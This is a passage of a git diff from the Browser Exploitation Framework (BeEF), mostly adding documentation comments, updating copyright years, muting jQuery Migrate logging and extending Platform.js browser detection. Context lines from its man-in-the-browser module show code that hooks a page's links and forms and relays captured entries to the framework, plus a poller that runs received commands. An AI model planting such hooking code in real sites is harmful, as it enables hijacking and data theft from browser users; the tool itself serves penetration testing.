if (beef.onclose.length > 0) {
|
||||
event.preventDefault;
|
||||
@@ -60,6 +67,7 @@ window.onclose = function (event) {
|
||||
* - the polling starts (checks for new commands, and execute them)
|
||||
* - the logger component is initialized (see logger.js)
|
||||
* - the Autorun Engine is initialized (see are.js)
|
||||
* @memberof beef.init
|
||||
*/
|
||||
function beef_init() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
|
||||
@@ -1,3 +1,12 @@
|
||||
/**
|
||||
* @namespace browser_jools
|
||||
*/
|
||||
|
||||
/**
|
||||
* @memberof browser_jools
|
||||
* @param file
|
||||
* @param cwd
|
||||
*/
|
||||
var require = function (file, cwd) {
|
||||
var resolved = require.resolve(file, cwd || '/');
|
||||
var mod = require.modules[resolved];
|
||||
@@ -19,7 +28,9 @@ require._core = {
|
||||
'path': true,
|
||||
'vm': true
|
||||
};
|
||||
|
||||
/**
|
||||
* @memberof browser_jools
|
||||
*/
|
||||
require.resolve = (function () {
|
||||
return function (x, cwd) {
|
||||
if (!cwd) cwd = '/';
|
||||
@@ -104,7 +115,9 @@ require.resolve = (function () {
|
||||
}
|
||||
};
|
||||
})();
|
||||
|
||||
/**
|
||||
* @memberof browser_jools
|
||||
*/
|
||||
require.alias = function (from, to) {
|
||||
var path = require.modules.path();
|
||||
var res = null;
|
||||
@@ -133,7 +146,9 @@ require.alias = function (from, to) {
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @memberof browser_jools
|
||||
*/
|
||||
require.define = function (filename, fn) {
|
||||
var dirname = require._core[filename]
|
||||
? ''
|
||||
@@ -215,10 +230,15 @@ function filter (xs, fn) {
|
||||
return res;
|
||||
}
|
||||
|
||||
// resolves . and .. elements in a path array with directory names there
|
||||
// must be no slashes, empty elements, or device names (c:\) in the array
|
||||
// (so also no leading and trailing slashes - it does not distinguish
|
||||
// relative and absolute paths)
|
||||
/**
|
||||
* resolves . and .. elements in a path array with directory names there
|
||||
* must be no slashes, empty elements, or device names (c:\) in the array
|
||||
* (so also no leading and trailing slashes - it does not distinguish
|
||||
* relative and absolute paths)
|
||||
* @memberof browser_jools
|
||||
* @param parts
|
||||
* @param allowAboveRoot
|
||||
*/
|
||||
function normalizeArray(parts, allowAboveRoot) {
|
||||
// if the path tries to go above the root, `up` ends up > 0
|
||||
var up = 0;
|
||||
@@ -357,6 +377,7 @@ var utils = require('./utils')
|
||||
|
||||
/**
|
||||
* version
|
||||
* @memberof browser_jools
|
||||
*/
|
||||
exports.version = '0.0.1';
|
||||
|
||||
@@ -367,7 +388,7 @@ exports.version = '0.0.1';
|
||||
* - Descriptive name
|
||||
* - One or more conditions
|
||||
* - One or more consequences, which are fired when all conditions evaluate to true.
|
||||
*
|
||||
* @memberof browser_jools
|
||||
* @param {Object} rules
|
||||
*/
|
||||
function Jools(rules) {
|
||||
@@ -426,7 +447,7 @@ module.exports = Jools;
|
||||
require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
|
||||
/**
|
||||
* Returns an array of parameter names of the function f
|
||||
*
|
||||
* @memberof browser_jools
|
||||
* @param {Function} f
|
||||
*/
|
||||
module.exports.paramNames = function (f) {
|
||||
@@ -443,7 +464,7 @@ module.exports.paramNames = function (f) {
|
||||
|
||||
/**
|
||||
* Creates an array of arguments
|
||||
*
|
||||
* @memberof browser_jools
|
||||
* @param {Object} obj
|
||||
* @param {Array} params
|
||||
*/
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -16,10 +16,10 @@ var warnedAbout = {};
|
||||
jQuery.migrateWarnings = [];
|
||||
|
||||
// Set to true to prevent console output; migrateWarnings still maintained
|
||||
// jQuery.migrateMute = false;
|
||||
jQuery.migrateMute = true;
|
||||
|
||||
// Show a message on the console so devs know we're active
|
||||
if ( window.console && window.console.log ) {
|
||||
if (window.console && window.console.log && !jQuery.migrateMute) {
|
||||
window.console.log( "JQMIGRATE: Migrate is installed" +
|
||||
( jQuery.migrateMute ? "" : " with logging active" ) +
|
||||
", version " + jQuery.migrateVersion );
|
||||
@@ -27,7 +27,7 @@ if ( window.console && window.console.log ) {
|
||||
|
||||
// Set to false to disable traces that appear with warnings
|
||||
if ( jQuery.migrateTrace === undefined ) {
|
||||
jQuery.migrateTrace = true;
|
||||
jQuery.migrateTrace = false;
|
||||
}
|
||||
|
||||
// Forget any warnings we've already given; public
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*!
|
||||
* Platform.js
|
||||
* Copyright 2014-2018 Benjamin Tan
|
||||
* Copyright 2014-2020 Benjamin Tan
|
||||
* Copyright 2011-2013 John-David Dalton
|
||||
* Available under MIT license
|
||||
*/
|
||||
@@ -339,7 +339,7 @@
|
||||
|
||||
/* Detectable layout engines (order is important). */
|
||||
var layout = getLayout([
|
||||
{ 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
|
||||
{ 'label': 'EdgeHTML', 'pattern': 'Edge' },
|
||||
'Trident',
|
||||
{ 'label': 'WebKit', 'pattern': 'AppleWebKit' },
|
||||
'iCab',
|
||||
@@ -369,7 +369,7 @@
|
||||
'Konqueror',
|
||||
'Lunascape',
|
||||
'Maxthon',
|
||||
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
|
||||
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
|
||||
'Midori',
|
||||
'Nook Browser',
|
||||
'PaleMoon',
|
||||
@@ -385,13 +385,18 @@
|
||||
{ 'label': 'SRWare Iron', 'pattern': 'Iron' },
|
||||
'Sunrise',
|
||||
'Swiftfox',
|
||||
'Vivaldi',
|
||||
'Waterfox',
|
||||
'WebPositive',
|
||||
{ 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
|
||||
{ 'label': 'UC Browser', 'pattern': 'UCBrowser' },
|
||||
'Opera Mini',
|
||||
{ 'label': 'Opera Mini', 'pattern': 'OPiOS' },
|
||||
'Opera',
|
||||
{ 'label': 'Opera', 'pattern': 'OPR' },
|
||||
'Chromium',
|
||||
'Chrome',
|
||||
{ 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
|
||||
{ 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
|
||||
{ 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
|
||||
{ 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
|
||||
@@ -437,6 +442,7 @@
|
||||
/* Detectable manufacturers. */
|
||||
var manufacturer = getManufacturer({
|
||||
'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
|
||||
'Alcatel': {},
|
||||
'Archos': {},
|
||||
'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
|
||||
'Asus': { 'Transformer': 1 },
|
||||
@@ -445,22 +451,28 @@
|
||||
'Google': { 'Google TV': 1, 'Nexus': 1 },
|
||||
'HP': { 'TouchPad': 1 },
|
||||
'HTC': {},
|
||||
'Huawei': {},
|
||||
'Lenovo': {},
|
||||
'LG': {},
|
||||
'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
|
||||
'Motorola': { 'Xoom': 1 },
|
||||
'Nintendo': { 'Wii U': 1, 'Wii': 1 },
|
||||
'Nokia': { 'Lumia': 1 },
|
||||
'Oppo': {},
|
||||
'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
|
||||
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
|
||||
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
|
||||
'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
|
||||
});
|
||||
|
||||
/* Detectable operating systems (order is important). */
|
||||
var os = getOS([
|
||||
'Windows Phone',
|
||||
'KaiOS',
|
||||
'Android',
|
||||
'CentOS',
|
||||
{ 'label': 'Chrome OS', 'pattern': 'CrOS' },
|
||||
'Debian',
|
||||
{ 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
|
||||
'Fedora',
|
||||
'FreeBSD',
|
||||
'Gentoo',
|
||||
@@ -616,9 +628,26 @@
|
||||
// Convert layout to an array so we can add extra details.
|
||||
layout && (layout = [layout]);
|
||||
|
||||
// Detect Android products.
|
||||
// Browsers on Android devices typically provide their product IDS after "Android;"
|
||||
// up to "Build" or ") AppleWebKit".
|
||||
// Example:
|
||||
// "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
|
||||
// (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
|
||||
if (/\bAndroid\b/.test(os) && !product &&
|
||||
(data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
|
||||
product = trim(data[1])
|
||||
// Replace any language codes (eg. "en-US").
|
||||
.replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
|
||||
|| null;
|
||||
}
|
||||
// Detect product names that contain their manufacturer's name.
|
||||
if (manufacturer && !product) {
|
||||
product = getProduct([manufacturer]);
|
||||
} else if (manufacturer && product) {
|
||||
product = product
|
||||
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
|
||||
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
|
||||
}
|
||||
// Clean up Google TV.
|
||||
if ((data = /\bGoogle TV\b/.exec(product))) {
|
||||
@@ -646,7 +675,7 @@
|
||||
: '');
|
||||
}
|
||||
// Detect Kubuntu.
|
||||
else if (name == 'Konqueror' && !/buntu/i.test(os)) {
|
||||
else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
|
||||
os = 'Kubuntu';
|
||||
}
|
||||
// Detect Android browsers.
|
||||
@@ -666,6 +695,10 @@
|
||||
description.unshift('accelerated');
|
||||
}
|
||||
}
|
||||
// Detect UC Browser speed mode.
|
||||
else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
|
||||
description.push('speed mode');
|
||||
}
|
||||
// Detect PaleMoon identifying as Firefox.
|
||||
else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
|
||||
description.push('identifying as Firefox ' + data[1]);
|
||||
@@ -695,7 +728,7 @@
|
||||
// Detect non-Opera (Presto-based) versions (order is important).
|
||||
if (!version) {
|
||||
version = getVersion([
|
||||
'(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
|
||||
'(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
|
||||
'Version',
|
||||
qualify(name),
|
||||
'(?:Firefox|Minefield|NetFront)'
|
||||
@@ -823,7 +856,7 @@
|
||||
(prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
|
||||
}
|
||||
// Detect Firefox Mobile.
|
||||
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
|
||||
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
|
||||
name = 'Firefox Mobile';
|
||||
}
|
||||
// Obscure Maxthon's unreliable version.
|
||||
@@ -919,7 +952,7 @@
|
||||
version = null;
|
||||
}
|
||||
// Use the full Chrome version when available.
|
||||
data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
|
||||
data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
|
||||
// Detect Blink layout engine.
|
||||
if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
|
||||
layout = ['Blink'];
|
||||
@@ -928,7 +961,7 @@
|
||||
// http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
|
||||
if (!useFeatures || (!likeChrome && !data[1])) {
|
||||
layout && (layout[1] = 'like Safari');
|
||||
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
|
||||
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
|
||||
} else {
|
||||
layout && (layout[1] = 'like Chrome');
|
||||
data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
|
||||
@@ -938,6 +971,8 @@
|
||||
// Obscure version for some Safari 1-2 releases.
|
||||
if (name == 'Safari' && (!version || parseInt(version) > 45)) {
|
||||
version = data;
|
||||
} else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
|
||||
description.unshift('headless');
|
||||
}
|
||||
}
|
||||
// Detect Opera desktop modes.
|
||||
@@ -965,16 +1000,24 @@
|
||||
os = null;
|
||||
}
|
||||
}
|
||||
// Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
|
||||
else if (/\bSRWare Iron\b/.test(name) && !version) {
|
||||
version = getVersion('Chrome');
|
||||
}
|
||||
// Strip incorrect OS versions.
|
||||
if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
|
||||
ua.indexOf('/' + data + '-') > -1) {
|
||||
os = trim(os.replace(data, ''));
|
||||
}
|
||||
// Ensure OS does not include the browser name.
|
||||
if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
|
||||
os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
|
||||
}
|
||||
// Add layout engine.
|
||||
if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
|
||||
/Browser|Lunascape|Maxthon/.test(name) ||
|
||||
name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
|
||||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
|
||||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
|
||||
// Don't add layout details to description if they are falsey.
|
||||
(data = layout[layout.length - 1]) && description.push(data);
|
||||
}
|
||||
@@ -1143,8 +1186,8 @@
|
||||
*
|
||||
* Common values include:
|
||||
* "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
|
||||
* "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
|
||||
* "Android", "iOS" and "Windows Phone"
|
||||
* "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
|
||||
* "SuSE", "Android", "iOS" and "Windows Phone"
|
||||
*
|
||||
* @memberOf platform.os
|
||||
* @type string|null
|
||||
|
||||
@@ -1,13 +1,12 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*!
|
||||
* @literal object: beef.logger
|
||||
*
|
||||
/**
|
||||
* Provides logging capabilities.
|
||||
* @namespace beef.logger
|
||||
*/
|
||||
beef.logger = {
|
||||
|
||||
|
||||
@@ -1,15 +1,18 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
/**
|
||||
* @namespace beef.mitb
|
||||
*/
|
||||
beef.mitb = {
|
||||
|
||||
cid:null,
|
||||
curl:null,
|
||||
|
||||
/** Initializes */
|
||||
init:function (cid, curl) {
|
||||
beef.mitb.cid = cid;
|
||||
beef.mitb.curl = curl;
|
||||
@@ -61,7 +64,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Initializes the hook on anchors and forms.
|
||||
/** Initializes the hook on anchors and forms. */
|
||||
hook:function () {
|
||||
beef.onpopstate.push(function (event) {
|
||||
beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
|
||||
@@ -92,7 +95,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Hooks anchors and prevents them from linking away
|
||||
/** Hooks anchors and prevents them from linking away */
|
||||
poisonAnchor:function (e) {
|
||||
try {
|
||||
e.preventDefault;
|
||||
@@ -111,7 +114,7 @@ beef.mitb = {
|
||||
return false;
|
||||
},
|
||||
|
||||
// Hooks forms and prevents them from linking away
|
||||
/** Hooks forms and prevents them from linking away */
|
||||
poisonForm:function (form) {
|
||||
form.onsubmit = function (e) {
|
||||
|
||||
@@ -154,7 +157,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked form with AJAX
|
||||
/** Fetches a hooked form with AJAX */
|
||||
fetchForm:function (url, query, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
@@ -174,7 +177,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked link with AJAX
|
||||
/** Fetches a hooked link with AJAX */
|
||||
fetch:function (url, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
@@ -195,7 +198,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a window.location=http://domainname.com and setting up history
|
||||
/** Fetches a window.location=http://domainname.com and setting up history */
|
||||
fetchOnclick:function (url) {
|
||||
try {
|
||||
var target = document.getElementsByTagName("html")[0];
|
||||
@@ -225,7 +228,7 @@ beef.mitb = {
|
||||
}
|
||||
},
|
||||
|
||||
// Relays an entry to the framework
|
||||
/** Relays an entry to the framework */
|
||||
sniff:function (result) {
|
||||
try {
|
||||
beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
|
||||
@@ -234,7 +237,7 @@ beef.mitb = {
|
||||
return true;
|
||||
},
|
||||
|
||||
// Signals the Framework that the user has lost the hook
|
||||
/** Signals the Framework that the user has lost the hook */
|
||||
endSession:function () {
|
||||
beef.mitb.sniff("Window closed.");
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user